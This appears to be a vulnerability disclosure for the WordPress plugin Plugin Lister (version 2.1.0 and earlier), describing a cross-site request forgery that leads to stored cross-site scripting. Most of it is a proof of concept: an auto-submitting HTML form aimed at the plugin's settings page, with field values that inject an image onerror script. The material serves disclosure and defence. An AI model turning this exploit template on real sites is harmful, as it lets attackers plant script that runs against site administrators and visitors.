WP Plugin Lister <= 2.1.0 - Settings Update to Stored XSS via CSRF

Proof of Concept

Make an admin open an HTML page containing the following code:

<form action="https://example.com/wp-admin/options-general.php?page=plugin_lister.php&time=1670618030" method="POST">
    <input type="text" name="title" value='"><img src=x onerror=alert(1)>'>
    <input type="text" name="description" value='"><img src=x onerror=alert(1)>'>
</form>
<script>
    document.forms[0].submit();
</script>